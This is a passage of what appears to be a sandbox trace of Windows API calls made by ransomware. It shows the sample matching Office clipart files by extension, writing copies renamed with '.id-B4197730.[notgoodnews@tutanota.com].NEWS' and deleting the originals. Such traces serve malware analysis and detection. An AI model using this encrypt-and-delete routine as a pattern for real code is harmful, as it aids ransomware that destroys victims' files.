Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString=".doc") returned 4 [0077.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString=".docx") returned 5 [0077.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.051] lstrlenW (lpString=".pdf") returned 4 [0077.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString=".xls") returned 4 [0077.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.051] lstrlenW (lpString=".xlsx") returned 5 [0077.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.051] lstrlenW (lpString=".ppt") returned 4 [0077.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString=".zip") returned 4 [0077.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.051] lstrlenW (lpString=".rar") returned 4 [0077.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString=".bz2") returned 4 [0077.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.052] lstrlenW (lpString=".7z") returned 3 [0077.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.052] lstrlenW (lpString=".dbf") returned 4 [0077.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.052] lstrlenW (lpString=".1cd") returned 4 [0077.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.052] lstrlenW (lpString=".jpg") returned 4 [0077.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.052] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.052] lstrlenW (lpString="AN04206_.WMF") returned 12 [0077.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.053] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7668) returned 1 [0077.053] CloseHandle (hObject=0x388) returned 1 [0077.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0077.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.053] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.053] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.054] GetLastError () returned 0x0 [0077.054] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0077.055] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0077.057] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.057] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.057] SetEndOfFile (hFile=0x308) returned 1 [0077.057] CloseHandle (hObject=0x308) returned 1 [0077.059] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.059] SetEndOfFile (hFile=0x388) returned 1 [0077.060] CloseHandle (hObject=0x388) returned 1 [0077.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.061] lstrlenW (lpString=".doc") returned 4 [0077.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString=".docx") returned 5 [0077.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.061] lstrlenW (lpString=".pdf") returned 4 [0077.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString=".xls") returned 4 [0077.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.061] lstrlenW (lpString=".xlsx") returned 5 [0077.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.061] lstrlenW (lpString=".ppt") returned 4 [0077.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.061] lstrlenW (lpString=".zip") returned 4 [0077.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.061] lstrlenW (lpString=".rar") returned 4 [0077.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString=".bz2") returned 4 [0077.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString=".7z") returned 3 [0077.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.061] lstrlenW (lpString=".dbf") returned 4 [0077.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.061] lstrlenW (lpString=".1cd") returned 4 [0077.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".jpg") returned 4 [0077.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".doc") returned 4 [0077.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString=".docx") returned 5 [0077.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.062] lstrlenW (lpString=".pdf") returned 4 [0077.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString=".xls") returned 4 [0077.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.062] lstrlenW (lpString=".xlsx") returned 5 [0077.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.062] lstrlenW (lpString=".ppt") returned 4 [0077.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".zip") returned 4 [0077.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.062] lstrlenW (lpString=".rar") returned 4 [0077.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString=".bz2") returned 4 [0077.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString=".7z") returned 3 [0077.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".dbf") returned 4 [0077.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".1cd") returned 4 [0077.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0077.062] lstrlenW (lpString=".jpg") returned 4 [0077.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.063] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.063] lstrlenW (lpString="AN04225_.WMF") returned 12 [0077.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.063] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8492) returned 1 [0077.063] CloseHandle (hObject=0x388) returned 1 [0077.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0077.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.063] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.063] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.064] GetLastError () returned 0x0 [0077.064] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x212c, lpOverlapped=0x0) returned 1 [0077.066] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2130, lpOverlapped=0x0) returned 1 [0077.068] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.068] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.068] SetEndOfFile (hFile=0x308) returned 1 [0077.068] CloseHandle (hObject=0x308) returned 1 [0077.069] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.069] SetEndOfFile (hFile=0x388) returned 1 [0077.070] CloseHandle (hObject=0x388) returned 1 [0077.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0077.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.071] lstrlenW (lpString=".doc") returned 4 [0077.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.071] lstrlenW (lpString=".docx") returned 5 [0077.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.071] lstrlenW (lpString=".pdf") returned 4 [0077.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.071] lstrlenW (lpString=".xls") returned 4 [0077.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.071] lstrlenW (lpString=".xlsx") returned 5 [0077.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.071] lstrlenW (lpString=".ppt") returned 4 [0077.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString=".zip") returned 4 [0077.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.072] lstrlenW (lpString=".rar") returned 4 [0077.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString=".bz2") returned 4 [0077.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString=".7z") returned 3 [0077.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString=".dbf") returned 4 [0077.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString=".1cd") returned 4 [0077.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString=".jpg") returned 4 [0077.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.072] lstrlenW (lpString=".doc") returned 4 [0077.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString=".docx") returned 5 [0077.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.073] lstrlenW (lpString=".pdf") returned 4 [0077.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString=".xls") returned 4 [0077.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.073] lstrlenW (lpString=".xlsx") returned 5 [0077.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.073] lstrlenW (lpString=".ppt") returned 4 [0077.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.073] lstrlenW (lpString=".zip") returned 4 [0077.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.073] lstrlenW (lpString=".rar") returned 4 [0077.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString=".bz2") returned 4 [0077.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString=".7z") returned 3 [0077.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.073] lstrlenW (lpString=".dbf") returned 4 [0077.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.073] lstrlenW (lpString=".1cd") returned 4 [0077.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0077.074] lstrlenW (lpString=".jpg") returned 4 [0077.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.074] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.074] lstrlenW (lpString="AN04235_.WMF") returned 12 [0077.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.075] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7804) returned 1 [0077.075] CloseHandle (hObject=0x388) returned 1 [0077.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0077.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.082] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.082] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.082] GetLastError () returned 0x0 [0077.082] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0077.545] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0077.546] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.546] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.546] SetEndOfFile (hFile=0x308) returned 1 [0077.546] CloseHandle (hObject=0x308) returned 1 [0077.547] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.548] SetEndOfFile (hFile=0x388) returned 1 [0077.548] CloseHandle (hObject=0x388) returned 1 [0077.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0077.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.623] lstrlenW (lpString=".doc") returned 4 [0077.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.623] lstrlenW (lpString=".docx") returned 5 [0077.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.623] lstrlenW (lpString=".pdf") returned 4 [0077.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.623] lstrlenW (lpString=".xls") returned 4 [0077.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.623] lstrlenW (lpString=".xlsx") returned 5 [0077.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.623] lstrlenW (lpString=".ppt") returned 4 [0077.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.623] lstrlenW (lpString=".zip") returned 4 [0077.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.624] lstrlenW (lpString=".rar") returned 4 [0077.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString=".bz2") returned 4 [0077.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString=".7z") returned 3 [0077.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString=".dbf") returned 4 [0077.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString=".1cd") returned 4 [0077.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString=".jpg") returned 4 [0077.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString=".doc") returned 4 [0077.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString=".docx") returned 5 [0077.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.624] lstrlenW 